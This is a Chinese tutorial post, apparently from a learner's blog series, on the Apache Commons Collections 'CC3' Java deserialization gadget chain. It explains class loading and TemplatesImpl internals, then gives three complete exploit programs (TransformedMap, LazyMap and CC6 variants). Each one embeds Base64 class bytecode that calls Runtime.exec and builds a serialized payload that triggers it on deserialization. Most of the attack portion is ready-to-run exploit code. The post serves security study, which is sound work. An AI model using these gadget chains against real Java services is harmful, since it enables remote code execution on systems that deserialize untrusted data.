ToB企服应用市场:ToB评测及商务社交产业平台

标题: [Java安全入门]六.CC3 [打印本页]

作者: 北冰洋以北    时间: 2024-10-15 02:25
标题: [Java安全入门]六.CC3
一.前言

前几天学了一下cc1和cc6,对于我来说有点小困难,不外经过几天沉淀,如今也是如拨开云雾见彼苍,经过一上午的复习对cc1和cc6又有深入的了解。所以,今天想多学一下cc3。cc3实行命令的方式与cc1和cc6不一样,不是通过ChainedTransformer来实行,而是通过动态加载类实行。
二.动态类加载机制

在JVM中,我们写的java源码被编译成.class字节码文件,然后由类加载器将class文件加载到JVM中实行。
三层加载器
   Bootstrap classLoader:启动类加载器,重要负责加载焦点的类库(java.lang.*等),构造 ExtClassLoader 和 APPClassLoader。
  ExtClassLoader:拓展类加载器,重要负责加载 JAVA_HOME/lib/ext 目录下的一些扩展的 jar。
  AppClassLoader:应用程序类加载器,重要负责加载应用程序的主函数类
  先用ClassLoader类内里的loadClass方法从已加载的类缓存、父加载器等位置寻找类(这里现实上是双亲委派机制),在前面没有找到的情况下,就会交给ClassLoader类中 findClass方法;然后findClass方法根据底子路径指定的方式来加载类的字节码,可能会在本地文件系统、jar 包或远程 http 服务器上读取字节码,然后将字节码交给 defineClass
   双亲委派机制 当一个Hello.class这样的文件要被加载时,不考虑我们自定义类加载器。起首会在 AppClassLoader 中检查是否加载过,如果有那就无需再加载了。如果没有,那么会拿到父加载器,然后调用父加载器的 loadClass 方法。父类中同理也会先检查本身是否已经加载过,如果没有再往上。留意这个类似递归的过程,直到到达 Bootstrap ClassLoader 之前,都是在检查是否加载过,并不会选择本身去加载。直到 Bootstrap ClassLoader ,已经没有父加载器了,这时候开始考虑本身是否能加载了,如果本身无法加载,会下沉到子加载器去加载,不停到最底层,如果没有任何加载器能加载,就会抛出 ClassNotFoundException。
  所以我们就可以通过defineClass来动态加载一个类,由于ClassLoader.defineClass是protected,无法在外部直接访问,所以可以通过反射调用。
  1. protected final Class<?> defineClass(byte[] b, int off, int len)
  2.         throws ClassFormatError
  3.     {
  4.         return defineClass(null, b, off, len, null);
  5.     }//protected属性
复制代码
  1. public class Main {
  2.     public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
  3.         Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
  4.         defineClass.setAccessible(true);
  5.         byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
  6.         System.out.println(code);
  7.         Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), null, code, 0, code.length);
  8.         hello.newInstance();
  9.     }
  10. }
  11. //字节流实现类函数
复制代码
实现cc3需要找到一个重写了defineClass的类。
三.实现链

在TemplatesImpl类中重写了defineClass方法而且方法是fault类型,可以被外部访问
  1. static final class TransletClassLoader extends ClassLoader {
  2.         private final Map<String,Class> _loadedExternalExtensionFunctions;
  3.          TransletClassLoader(ClassLoader parent) {
  4.              super(parent);
  5.             _loadedExternalExtensionFunctions = null;
  6.         }
  7.         TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
  8.             super(parent);
  9.             _loadedExternalExtensionFunctions = mapEF;
  10.         }
  11.         public Class<?> loadClass(String name) throws ClassNotFoundException {
  12.             Class<?> ret = null;
  13.             // The _loadedExternalExtensionFunctions will be empty when the
  14.             // SecurityManager is not set and the FSP is turned off
  15.             if (_loadedExternalExtensionFunctions != null) {
  16.                 ret = _loadedExternalExtensionFunctions.get(name);
  17.             }
  18.             if (ret == null) {
  19.                 ret = super.loadClass(name);
  20.             }
  21.             return ret;
  22.          }
  23.         /**
  24.          * Access to final protected superclass member from outer class.
  25.          */
  26.         Class defineClass(final byte[] b) {
  27.             return defineClass(null, b, 0, b.length);
  28.         }
  29.     }
复制代码
但是TransletClassLoader是内部类,无法直接构造,所以需要找到一个非内部方法而且调用了这类,正幸亏TemplatesImpl类的defineTransletClasses方法中构造了TransletClassLoader
  1. TransletClassLoader loader = (TransletClassLoader)
  2.             AccessController.doPrivileged(new PrivilegedAction() {
  3.                 public Object run() {
  4.                     return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
  5.                 }
  6.             });
  7.         try {
  8.             final int classCount = _bytecodes.length;
  9.             _class = new Class[classCount];
  10.             if (classCount > 1) {
  11.                 _auxClasses = new HashMap<>();
  12.             }
  13.             for (int i = 0; i < classCount; i++) {
  14.                 _class[i] = loader.defineClass(_bytecodes[i]);
  15.                 final Class superClass = _class[i].getSuperclass();
  16.                 // Check if this is the main class
  17.                 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
  18.                     _transletIndex = i;
  19.                 }
  20.                 else {
  21.                     _auxClasses.put(_class[i].getName(), _class[i]);
  22.                 }
  23.             }
  24.             if (_transletIndex < 0) {
  25.                 ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
  26.                 throw new TransformerConfigurationException(err.toString());
  27.             }
  28.         }
  29.         catch (ClassFormatError e) {
  30.             ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
  31.             throw new TransformerConfigurationException(err.toString());
  32.         }
  33.         catch (LinkageError e) {
  34.             ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
  35.             throw new TransformerConfigurationException(err.toString());
  36.         }
  37.     }
复制代码
该方法中通过for循环依次加载字节码_bytecodes中的内容赋值给Class数组_class
继承找调用defineTransletClasses方法的方法,在TemplatesImpl类的getTransletInstance方法中调用了 defineTransletClasses,更好的是内里由newInstance直接实例化类,就能完成命令实行了。
  1. private Translet getTransletInstance()
  2.         throws TransformerConfigurationException {
  3.         try {
  4.             if (_name == null) return null;
  5.             if (_class == null) defineTransletClasses();
  6.             // The translet needs to keep a reference to all its auxiliary
  7.             // class to prevent the GC from collecting them
  8.             AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
  9.             translet.postInitialization();
  10.             translet.setTemplates(this);
  11.             translet.setServicesMechnism(_useServicesMechanism);
  12.             translet.setAllowedProtocols(_accessExternalStylesheet);
  13.             if (_auxClasses != null) {
  14.                 translet.setAuxiliaryClasses(_auxClasses);
  15.             }
  16.             return translet;
  17.         }
  18.         catch (InstantiationException e) {
  19.             ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
  20.             throw new TransformerConfigurationException(err.toString());
  21.         }
  22.         catch (IllegalAccessException e) {
  23.             ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
  24.             throw new TransformerConfigurationException(err.toString());
  25.         }
  26.     }
复制代码
但getTransletInstance方法也是private属性,继承向上找,newTransformer方法调用了getTransletInstance方法,而且是public属性
  1. public synchronized Transformer newTransformer()
  2.         throws TransformerConfigurationException
  3.     {
  4.         TransformerImpl transformer;
  5.         transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
  6.             _indentNumber, _tfactory);
  7.         if (_uriResolver != null) {
  8.             transformer.setURIResolver(_uriResolver);
  9.         }
  10.         if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
  11.             transformer.setSecureProcessing(true);
  12.         }
  13.         return transformer;
  14.     }
复制代码
所以如今就可以构造cc3
TemplatesImpl.newTransformer--->TemplatesImpl.getTransletInstance--->TemplatesImpl. defineTransletClasses--->TemplatesImpl.TransletClassLoader.defineClass

cc3还是挺丝滑的。

四.最终exp


Transformed版

  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  4. import org.apache.commons.collections.Transformer;
  5. import org.apache.commons.collections.functors.ChainedTransformer;
  6. import org.apache.commons.collections.functors.ConstantTransformer;
  7. import org.apache.commons.collections.functors.InstantiateTransformer;
  8. import org.apache.commons.collections.map.TransformedMap;
  9. import javax.xml.transform.Templates;
  10. import java.io.FileInputStream;
  11. import java.io.FileOutputStream;
  12. import java.io.ObjectInputStream;
  13. import java.io.ObjectOutputStream;
  14. import java.lang.annotation.Target;
  15. import java.lang.reflect.Constructor;
  16. import java.lang.reflect.Field;
  17. import java.lang.reflect.InvocationTargetException;
  18. import java.lang.reflect.Method;
  19. import java.util.Base64;
  20. import java.util.HashMap;
  21. import java.util.Map;
  22. public class Main {
  23.     public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  24.         Field field = obj.getClass().getDeclaredField(fieldName);
  25.         field.setAccessible(true);
  26.         field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值
  27.     }
  28.     public static void main(String[] args) throws Exception {
  29.         byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
  30.         TemplatesImpl templatesImpl = new TemplatesImpl();
  31.         setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImpl
  32.         setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组
  33.         Transformer[] transformers = new Transformer[]{
  34.                 new ConstantTransformer(TrAXFilter.class), //调用传入类的newTransformer()方法正好是TemplatesImpl链里面的第一步
  35.                 new InstantiateTransformer(
  36.                         new Class[]{Templates.class},
  37.                         new Object[]{templatesImpl})        //反射一个实例化对象并返回
  38.         };
  39.         ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链
  40.         Map<Object,Object> map = new HashMap<>();
  41.         map.put("value","test");  //与cc1类似
  42.         Map transformedMap  = TransformedMap.decorate(map, null, chain);
  43.         //反射调用AnnotationInvocationHandler类
  44.         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  45.         Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
  46.         constructor.setAccessible(true);
  47.         Object obj = constructor.newInstance(Target.class,transformedMap);
  48.         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
  49.         out.writeObject(obj);
  50.         //序列化
  51.         ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
  52.         in.readObject();
  53.         //反序列化
  54.     }
  55. }
复制代码
LazyMap版

  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  4. import org.apache.commons.collections.Transformer;
  5. import org.apache.commons.collections.functors.ChainedTransformer;
  6. import org.apache.commons.collections.functors.ConstantTransformer;
  7. import org.apache.commons.collections.functors.InstantiateTransformer;
  8. import org.apache.commons.collections.map.LazyMap;
  9. import javax.xml.transform.Templates;
  10. import java.io.FileInputStream;
  11. import java.io.FileOutputStream;
  12. import java.io.ObjectInputStream;
  13. import java.io.ObjectOutputStream;
  14. import java.lang.annotation.Target;
  15. import java.lang.reflect.Constructor;
  16. import java.lang.reflect.Field;
  17. import java.lang.reflect.InvocationHandler;
  18. import java.lang.reflect.Proxy;
  19. import java.util.Base64;
  20. import java.util.HashMap;
  21. import java.util.Map;
  22. public class Main {
  23.     public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  24.         Field field = obj.getClass().getDeclaredField(fieldName);
  25.         field.setAccessible(true);
  26.         field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值
  27.     }
  28.     public static void main(String[] args) throws Exception {
  29.         byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
  30.         TemplatesImpl templatesImpl = new TemplatesImpl();
  31.         setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImpl
  32.         setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组
  33.         org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
  34.                 new ConstantTransformer(TrAXFilter.class), //调用传入类的newTransformer()方法正好是TemplatesImpl链里面的第一步
  35.                 new InstantiateTransformer(
  36.                         new Class[]{Templates.class},
  37.                         new Object[]{templatesImpl})        //反射一个实例化对象并返回
  38.         };
  39.         ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链
  40.         Map<Object, Object> hashMap = new HashMap<>();
  41.         Map<Object, Object> lazymap = LazyMap.decorate(hashMap,chain);
  42.         Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  43.         Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
  44.         constructor.setAccessible(true);
  45.         InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazymap);//注解随便传,反射实例化AnnotationInvocationHandler
  46.         Map proxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//要触发invoke所以要动态代理
  47.         Object obj=constructor.newInstance(Target.class,proxy);
  48.         /* AnnotationInvocationHandler.readObject.entrySet->动态代理AnnotationInvocationHandler.invoke->Lazymap.get->chainedtransformer.transform*/
  49.         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
  50.         out.writeObject(obj);
  51.         //序列化
  52.         ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
  53.         in.readObject();
  54.         //反序列化
  55.     }
  56. }
复制代码
cc6版

  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  4. import org.apache.commons.collections.Transformer;
  5. import org.apache.commons.collections.functors.*;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import javax.xml.transform.Templates;
  9. import java.io.*;
  10. import java.lang.reflect.Field;
  11. import java.util.Base64;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. public class Main {
  15.     public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  16.         Field field = obj.getClass().getDeclaredField(fieldName);
  17.         field.setAccessible(true);
  18.         field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值
  19.     }
  20.     public static void main(String[] args) throws Exception {
  21.         byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
  22.         TemplatesImpl templatesImpl = new TemplatesImpl();
  23.         setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImpl
  24.         setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组
  25.         Transformer[] transformers = new Transformer[]{
  26.                 new ConstantTransformer(TrAXFilter.class), //调用传入类的newTransformer()方法正好是TemplatesImpl链里面的第一步
  27.                 new InstantiateTransformer(
  28.                         new Class[]{Templates.class},
  29.                         new Object[]{templatesImpl})        //反射一个实例化对象并返回
  30.         };
  31.         ChainedTransformer chain=new ChainedTransformer(transformers);
  32.         Map<Object, Object> hashMap = new HashMap<>();
  33.         Map<Object, Object> lazymap = LazyMap.decorate(hashMap,new ConstantFactory(0));
  34.         TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,"tao");
  35.         HashMap<Object,Object> hashMap1=new HashMap<>();
  36.         hashMap1.put(tiedMapEntry,"456");//put会直接执行命令,所以先将lazyMap改成没用的东西
  37.         lazymap.remove("tao");
  38.         Class clz=LazyMap.class;
  39.         Field field=clz.getDeclaredField("factory");
  40.         field.setAccessible(true);
  41.         field.set(lazymap,chain);
  42.         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
  43.         out.writeObject(hashMap1);
  44.         //序列化
  45.         ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
  46.         in.readObject();
  47.         //反序列化
  48.     }
  49. }
复制代码
留意
transformers的两种写法

第一种

通例的利用InvokerTransformer来实现transformed链,先传入templatesImpl,然后调用它的newTransformer方法
  1. Transformer [] transformers = new Transformer[]{new ConstantTransformer(templatesImpl),new InvokerTransformer("newTransformer",null,null)};
复制代码
第二种

有些情况下会过滤掉InvokerTransformer,所以使用TrAXFilter+InstantiateTransformer,也就是我上面的三种exp的写法
  1. Transformer[] transformers = new Transformer[]{
  2.                 new ConstantTransformer(TrAXFilter.class),
  3.                 new InstantiateTransformer(
  4.                         new Class[]{Templates.class},
  5.                         new Object[]{templatesImpl})        
  6.         };
复制代码
这里是传入TrAXFilter类,然后由它作为object在传入InstantiateTransformer的transform方法
  1. public Object transform(Object input) {
  2.         try {
  3.             if (input instanceof Class == false) {
  4.                 throw new FunctorException(
  5.                     "InstantiateTransformer: Input object was not an instanceof Class, it was a "
  6.                         + (input == null ? "null object" : input.getClass().getName()));
  7.             }
  8.             Constructor con = ((Class) input).getConstructor(iParamTypes);
  9.             return con.newInstance(iArgs);
  10.         } catch (NoSuchMethodException ex) {
  11.             throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
  12.         } catch (InstantiationException ex) {
  13.             throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
  14.         } catch (IllegalAccessException ex) {
  15.             throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
  16.         } catch (InvocationTargetException ex) {
  17.             throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
  18.         }
  19.     }
复制代码
在InstantiateTransformer的tranform方法内里会生成传入object的构造器然后生成一个实例,而TrAXFilter的构造器内里恰好有newTransformer方法,非常奇妙
  1. public TrAXFilter(Templates templates)  throws
  2.         TransformerConfigurationException
  3.     {
  4.         _templates = templates;
  5.         _transformer = (TransformerImpl) templates.newTransformer();
  6.         _transformerHandler = new TransformerHandlerImpl(_transformer);
  7.         _useServicesMechanism = _transformer.useServicesMechnism();
  8.     }
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4